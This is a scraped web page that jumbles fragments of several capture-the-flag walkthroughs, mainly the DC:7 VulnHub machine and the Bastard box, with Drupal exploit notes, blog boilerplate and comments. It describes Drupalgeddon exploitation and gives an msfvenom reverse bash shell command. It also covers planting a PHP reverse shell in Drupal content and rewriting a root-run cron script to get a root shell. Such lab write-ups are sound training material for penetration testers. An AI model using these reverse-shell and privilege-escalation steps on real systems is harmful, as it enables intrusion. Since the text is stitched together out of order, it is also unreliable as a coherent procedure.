For instance, you can … 2- Read flag1.txt file. So I cat the contents of mbox and discover there is system mail with some interesting contents. My first enumeration I do by AutoRecon and nmap. Step 4: Run the installation script. This account contains a link to GitHub: https:/github.com/Dc7User, maybe the author was pointing to this link. This isn’t a flag, btw, but if you have made it here, well done anyway. Services allows you to create different endpoints with different resources, allowing you to interact with your website and its content in an API-oriented way. I’ve found myself updating and transferring my old blog in some of the dead hours of today and Piers Morgan somehow made it on the Netflix special I was watching with the family. we have our netcat session as www-data and if you will check permission on /opt/scripts/backup.sh, you will notice, that www-data has all permission to access or modify this file. So I have a username and a password what to do with them now? I have trouble getting the root shell at the end but. Exploit for Drupal 7 <= 7.57 CVE-2018-7600. Introduction Specifications Target OS: Windows Services: HTTP, msrpc, unkown IP Address: 10.10.10.9 Difficulty: Medium Weakness Exploit-DB 41564 MS15-051 Contents Getting user Getting root Reconnaissance As always, the first step consists of … We found credential from inside config.php as shown below: With the help of above-enumerated credential, we try to connect with ssh and after obtaining tty shell we go for post enumeration and start directory traversing. Required fields are marked *. Droopescan. Your email address will not be published. Looking at the nmap results we can see this is a Microsoft IIS server 7.5 which is Server 2008 R2. This is a Linux based CTF challenge where you can use your basic pentest skill to compromise this VM to escalate the root privilege shell. But first things first let’s enhance the shell that I do have already by upgrading to a Python TTY shell ( teletypewriter shell ). Don’t forget to add a “listening IP & port” to get a reversed connection. Now I can paste the full command into my original reverse shell to reap our next shell. root@kali:~# nmap -p- -A 10.128.1.152 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-04 12:44 EST Nmap scan report for DC-1.stoeps.lab (10.128.1.152) Host is up (0.00063s latency). On ExploitDB you can find … Directly writing malicious scripts as web content will not give us the reverse shell of the application but after spending some time, we concluded that it requires PHP module. This is the DC:7 Vulnhub walkthrough. Raj Chandel is Founder and CEO of Hacking Articles. The results come in and identify a few running services. Install Drupal in another language. Walkthrough Network Scanning. Now copy the generated code and start another netcat listener on a new terminal. Searching for Drupal version 7 exploits, I found that there are many available exploits. Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User). Directly writing malicious scripts as web content will not give us the reverse shell of the application but after spending some time, we concluded that it requires PHP module. On the other hand, Drupalgeddon3 needs a session for a valid user to run the exploit. DC:7 writeup, our other CTF challenges for CTF players and it can be download from vulnhub from here. Thus, we use msfvenom to generate a malicious piece of code for obtaining the bash shell. By considering the above-listed hint, we start footprinting on the @DC7-user and find the DC7-user twitter account. It was so bad, it was dubbed “Drupalgeddon”. So at this point we need to generate some bash code to execute yet another reverse shell. 4- Login to mysql database. So, when the installation is completed, we need to enable to added module. Once I do that I can easily get the connection to work. Step by step instructions to run the installation script. The DC 7 VM is one of several in order starting with DC 1. For Drupal 7, it is fixed in the current release (Drupal 7.57) for jQuery 1.4.4 (the version that ships with Drupal 7 core) as well as for other newer versions of jQuery that might be used on the site, for example using the jQuery Update module. Contact here. ... We learned from the scan that we have the port 80 open which is hosting Apache httpd service with Drupal 7, and we have the port 22 open. When I tried to use Drupalgeddon2 the exploit failed. At the end of this web page, we observed another hint “@DC7User” which could be any possible username. Transfer the file to the attacking box. Inside backup.sh we notice it is using drush which stands for Drupal shell and it is a command-line utility that is used to communicate with drupal CMS. IP - 10.10.10.9. Search for the exploit in Google (you could use the ‘-x’ flag to view in searchsploit but I don’t like the format). There is one that has read-write for all users a file named mbox. The above file type can be easily brute-forced using a utility mentioned here. Learn Python by Writing a Reverse HTTP Shell in Kali Li... DC-1 Vulnhub Walkthrough: Docker & Drupal, How to Exploit WordPress without Metasploit, https://www.youtube.com/watch?v=vsizHjKZw-o, The Complete Responder & NTLM Relay Attack Tutorial, The DNS Zone Transfer Kali Linux Tutorial, How to Exploit MS17-010 Eternal Blue without Metasploit, Command and Control: the SILENTTRINITY Walkthrough, A New PowerShell Empire - the Covenant C2 Tutorial, how to use powershell empire 3: the powershell empire 3 tutorial, Post-Exploit Guide: Use FTP in Kali Linux to Move Files, Kali Linux Virtual Machine ( VirtualBox ), https://github.com/alem0lars/docker-droopescan, https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh. Woah woah DC 7, haven’t done DC 1 yet? HTTP – Drupal. Today we’re going to solve another CTF machine “Bastard”. Drupal faced one of its biggest security vulnerabilities recently. The text at the end of the page says @DC7USER finally a clue! That is why just for fun I also run the lse.sh or smart enumeration script to see what we can find out about the box. The --verbose and --authentication parameter can be added in any order after and they are both optional. Instead of getting root am just getting another shell for www-data after injecting into the script. Remember that the running services are ssh and http. Drupal 7 Rules Module walkthrough. This video is unavailable. 1- Using metasploit or any other exploits which gives you a reverse shell (without logging-in to drupal). Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks. You will click the check mark on the box to the left of the PHP Filter module found by scrolling towards the end of the page. That is lse.sh or “smart Linux enumeration script”. The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Now login to drupal web-service After drupal login I go to drupa version check I see drupal running 7.57 version I search google and find the exploit drupalgeddon2 remote code execution now try our exploit metasploit Being an infosec enthusiast himself, he nourishes and mentors anyone who seeks it. Drupal Config File "settings.php" Overview. Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. 7- Login using the cracked passwords to drupal … as depicted below: “This is some “code” (yes, it’s not the greatest code, but that wasn’t the point) for the DC-7 challenge. Contribute to pimps/CVE-2018-7600 development by creating an account on GitHub. Walkthrough of Bastard box on Hackthebox. DC:7 Vulnhub Walkthrough DC:7 is a solid Vulnhub VM to practice for OSCP real practical vulnerable machines tutorial for DC:7 Linux Privilege Escaltion. And the github URL content a staffdb which is PHP repositories. To install droopescan follow these steps below. A look at the web service shows that Drupal, the CMS software, is running. At first, we’re looking for a directory list where we’ve found a “mbox” named file that contains an inbox message. Studying for the OSCP exam narrows the criteria for a favorable VM to practice on even further. Turns out it belongs to root! Continue to change the “text format to PHP” and enable the publishing checkbox. To scan the Drupal site I use droopescan. Drupal 7.12 -latest stable release - suffers from multiple vulnerabilities which could allow an attacker to gain access to the management interface. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP […] This is Bastard HackTheBox machine walkthrough and it is also 6th machine of our OSCP like HTB boxes series.In this writeup, I have demonstrated step-by-step how I rooted to Bastard HTB machine.. Before starting let us know something about this machine. Now use the Pentest monkey PHP script, i.e. A Google search shows that the Drush command is related to Drupal and is a CLI utility that can be used to change the administrator password. For those that don’t know already you are prohibited from using Metasploit during the exam except for on one host. We, therefore, move to install new module through Manage>Extend>List>Install new module. In this article, we will solve a Capture the Flag (CTF) challenge that was posted on the VulnHub website by an author named Duca. Love these tutorials, definitely the best I’ve seen on the web by far so keep up the good work. I prefer to use the dockerized container version of droopescan. Given this criteria you can narrow the search down a bit, but referenced VMs from advanced ethical hackers is still your best bet. This information is confirmed by the two enumeration scripts I run. It works. Since the script’s owner is root that means when it is executed it will be run as root. To reiterate we are generating code in bash to replace the bash code in the existing backup.sh script so that we can spawn a new reverse shell connection. The credit goes to “DCAU” for designing this VM machine for beginners. Successfully installing the new module will redirect to a new page with a success message. I had the same problem until I changed folder to /opt/scripts on the www-data session. Once I browse it, I found that the version for Drupal is 7.54. Enjoy! Great!! His works include researching new ways for both offensive and defensive security and has done illustrious research on computer Security, exploiting Linux and windows, wireless security, computer forensic, securing and exploiting web applications, penetration testing of networks. I go ahead and try my exploit I used before against the running Drupal in DC 2, however it fails. The Escalate_Linux Walkthrough: Vulnhub CTFs, Use Satori for Easy Linux Privilege Escalation, Hacking Tutorial: Write a Reverse TCP Shell in Go. <> <> 8. 5- Extract users table information. 6- Crack users passwords using hashcat. The next step is to embed the code for a reverse shell in the Drupal site by creating a new page and previewing in the web interface. From redteamtutorials.com – Bash Unix Reverse Shellmsfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh. Basically, it allows anybody to build SOAP, REST, or XMLRPC endpoints to send and fetch information in several output formats. Well, one exploit as they both have the same name. The output of the two Linux privilege escalation scripts is good but ultimately fruitless. Posted by guru | Sep 20, 2019 | Redteam, Vulnhub | 0 |. It looks like a mail about a cronjob that has run. Let’s check the ownership of that file. You can download the PHP package for Drupal from the URL below and upload the tar file to install the new module. He is a renowned security evangelist. It is now retired box and can be accessible if you’re a VIP member. Go to drupal.org/project/php to get the tar.gz file for the module and then upload the file on the Drupal site as admin. As per the description given by the author, this is an intermediate-level CTF.The target of this CTF is to get to the root of the machine and read the flag.txt file. The webshell I am using is one from pentestmonkey.com and is conveniently located by default in the Kali Linux directory /usr/share/webshells/php-reverse-shell.php use this one as well. Looking back at our findings from the initial enumeration it looks like it is time once again to look at the backups.sh script for help. Enumerating the directory contents reveals a .drupal.txt.enc file. The most interesting of which is drush. Therefore, we try to change the admin password using the below command: Now, we’ve changed the password for the admin account to login to Drupal and explore the following URL: After accessing the admin console, it was time to exploit web application by injecting malicious content inside it. It is currently the 150th most used plugin of Drupal, with around 45.000 active websites. Sniff Out Vuln Paths: BloodHound Active Directory Walkt... How to Exploit Femitter FTP: A Kali Linux Walkthrough. The exploit could be executed via SQL Injection. Further, we need to start enumeration against the host machine, therefore without wasting time, we navigate to a web browser for exploring HTTP service, and DC:7- Welcome page will be opened in the browser that gave us a hint to search “outside the box” and this hint might be connected with internet. That means it is a good idea to practice not needing to use it. Just like how WordPress is commonly exploited by running PHP code on the webserver so to is the case here. The credit goes to “DCAU” for designing this VM machine for beginners. When everything is set correctly, click the preview button and you’ll get the reverse connection over the netcat. Your email address will not be published. Keep the netcat listener ON in order to receive the incoming shell. So when we have opened the staffdb, here config.php looks more interesting and a note i.e. And there you have it that’s the DC 7 Vulnhub walkthrough. Loading... Close. There is always the possibility of abusing cronjob for privilege escalation so I explore further. Skip navigation Sign in. Drupal 7 Rules Module walkthrough. The first step to attack is to identify the target. His works include researching new ways for both offensive and defensive security and has done illustrious research on computer Security, exploiting Linux and windows, wireless security, computer forensic, securing and exploiting web applications, penetration testing of networks. So, I tried the exploit for Drupal 7.x Module Services. Drupal only holds a very small portion of the market share for CMS software, but it is commonly used to demonstrate web exploitation techniques. Thanks!" There is one difference with Drupal and that is there is an extra step required. ... installing the tar.gz file for the php module to exploit the Drupal site. It affected every single site that was running Drupal 7.31 (latest at the time) or below, as you can read in this Security Advisory.. As said above we’ll try to abuse writable permission assign on the script. TRENDING: The Complete Python Asyncio Guide for Ethical Hackers. “reverse shell backdoor.php” to be injected as a basic content. We can also see that this is hosting a drupal 7 website. There is only one repository and as many know CMS exploits commonly exploit credentials stored in config.php files. If we open this web page in a browser we can see this is in fact a drupal instance. We can therefore abuse the rights of the user file for escalating privileges by modifying the contents of the source. Join our mailing list to receive the latest news and updates from our team. It is known for its security and being extensible. One possible avenue we can explore is a kernel exploit. Drupal_drupalgeddon3 exploit will work if we have access to any Drupal user account which has a permission to delete nodes. Hi James, <> 9. Since anonymous users can exploit this vulnerability and there isn't any mitigating factor, users are advised to patch their websites as soon as possible. webapps exploit for PHP platform However, shortly after the public release of the PoC exploit, which many confirmed to be functional, researchers at Sucuri, Imperva, and the SANS Internet Storm Center started seeing attempts to exploit Drupalgeddon2, though none have yet to see any reports of websites being hacked. So nmap showed very exciting & cool outcome, specifically on port 80 that is accessible to HTTP service and is also used to operate drupal CMS, additionally, 15 submissions for robot.txt is like a cheery on a cake. Services is a "standardized solution for building API's so that external clients can communicate with Drupal". More about the files directory. Enumeration is key! ... client-side exploit, an external attacker that controls directly a Drupal admin by a client-side exploit and son on. Sign up for our email list to receive updates on our upcoming auctions. Overview. A successful installation will display an update on authorize.php. ... We surfed the web for an exploit regarding exim tool of version 4.89. CVE-2014-3704CVE-113371CVE-SA-CORE-2014-005 . In this way we exploit the privileges of the backups.sh script in order to escalate to root privileges. We, therefore, move to install new module through. Just some stuff of stoeps. To install and use Drupal 7 in a language other than English. Logging into the box as dc7user I take a look around and notice the permissions for the directory listing. Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 – ‘Drupalgeddon2’ remote code execution. Pretty standard here read the final flag and you’re done! Raj Chandel is Founder and CEO of Hacking Articles. There are many VMs to choose from on vulnhub.com so it can be a daunting task to choose one. 7. With a shell now on the box I need to do one thing, escalate privileges to root. To allow PHP to execute you have to install the PHP Filter module. The message contains /opt/script/backup.sh as the subject of the message, let’s explore more. This module was tested against Drupal 7.0 and 7.31 (was fixed in 7.32). 3- Read settings.php file. So, I looked at the drush command on google and found a command that was used to change an account’s password. Great job man! Search. Now follow the link to enable newly added modules. So I now login as admin with the password being “password” and guess what? DC:7 writeup, our other CTF challenges for CTF players and it can be download from vulnhub from. For Drupal … Read the tutorial DC-1 Vulnhub Walkthrough: Docker & Drupal now! Hmmm! After some time, you will have access to the root shell, you will now get the final flag in the root directory as shown below. However the results for researching exploits for this kernel version are not so useful so I will proceed with a different route. This is the case for DC7 as we see there is a username and password stored in cleartext, great! Looking at the Twitter page of DC7USER https://twitter.com/dc7user?lang=en I see there is a link for a GitHub this must be investigated further. Security Scanner for Drupal installations to quickly identify potential security issues, server reputation and other aspects of the web server.. Drupal is one of the worlds leading content management system. Nice! - Bryan Dodson, How to Bypass Application Whitelisting with MSBuild, Automate Buffer Overflow Exploitation with Bofhelper, The Complete Python Asyncio Guide for Ethical Hackers. With a netcat listener open to the port we defined in the PHP webshell one step ago a new shell is opened! This box was a medium level linux box on HTB created by ch4p, it started with finding a exploit for the drupal 7.54 running on the Microsoft IIS http server at port 80, the exploit gave us a shell as iusr who had perms to read user flag from dimitris user account. Notify me of follow-up comments by email. If --authentication is specified then you will be prompted with a request to submit. how to use powershell empire 3: the powershell empire 3... How to install and use evil winrm in kali linux, Coming SOON: Become an ethical hacker Ebook, How To Exploit Shellshock On Metasploitable 2, The Vulnuni: 1 Vulnhub Walkthrough Without Metasploit, The Axis2 and Tomcat Manager Vulnhub Walkthrough, The Spraykatz Tutorial to Dominate the Network. Let’s start with a network scan using an aggressive Nmap scan as we always do, and this time also we will go with the same approach to identify open port for running services. None of the SUID files are exploitable unfortunately. This account contains a link to GitHub: After accessing the admin console, it was time to exploit web application by injecting malicious content inside it. Content > Add content > Basic page > Save as PHP Code format. My opinion is that this VM is a great VM for learning and practicing Linux privilege escalation. Choosing the Preview button will execute the embedded PHP code. Paste the code copied above in the previous netcat session under the www-data shell and wait for some time and get back to another netcat listener. This post describes multiple attacks upon the Bastard box on hackthebox.eu. So, identify your target. Setting up the files directory. He is a renowned security evangelist. Examining the file type, it’s revealed as a Base64-encoded file with salted password. :-)”. 9 CVE-2017-6928: 732: Bypass 2018-03-01: 2019-10-02 Designed by Elegant Themes | Powered by WordPress, "Your cheatsheet was so helpful I can't believe noone else has done this sooner. Again, move to Manage > Extend >filters and enable the checkbox for PHP filters. ... HTTP (note the http-generator shows as Drupal 7) Port 80 is used to identify requests for web pages, so let's take a look at that in our browser: ... A useful script to check for exploits on Linux machines is linux-exploit … By considering the above-listed hint, we start footprinting on the @DC7-user and find the DC7-user twitter account. try and see if that works for you. HTB - Bastard. Watch Queue Queue. Built-in … This module exploits the Drupal HTTP Parameter Key/Value SQL Injection (aka Drupageddon) in order to achieve a remote shell on the vulnerable instance. A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Watch Queue Queue. Admins using RESTful Web Services versions 7.x-2.x prior to 7.x-2.6 and versions 7.x-1.x prior to 7.x-1.7 for their Drupal websites are Have a look at the Twitter page for DC7-User. DC:7 writeup, our other CTF challenges for CTF players and it can be download from vulnhub from here. Make sure to hit the Install button located on the end of the page. This is a Linux based CTF challenge where you can use your basic pentest skill to compromise this VM to escalate the root privilege shell.... Continue reading → At this point I realize I need to actually power off my Kali Linux VM and add a Bridged or NAT network adapter. The contents of the backups.sh file detail some commands that have run. Couldn’t resist a dig! It is used on a large number of high profile sites. A walkthrough for the Lampião virtual machine, available from VulnHub. Raj Chandel.
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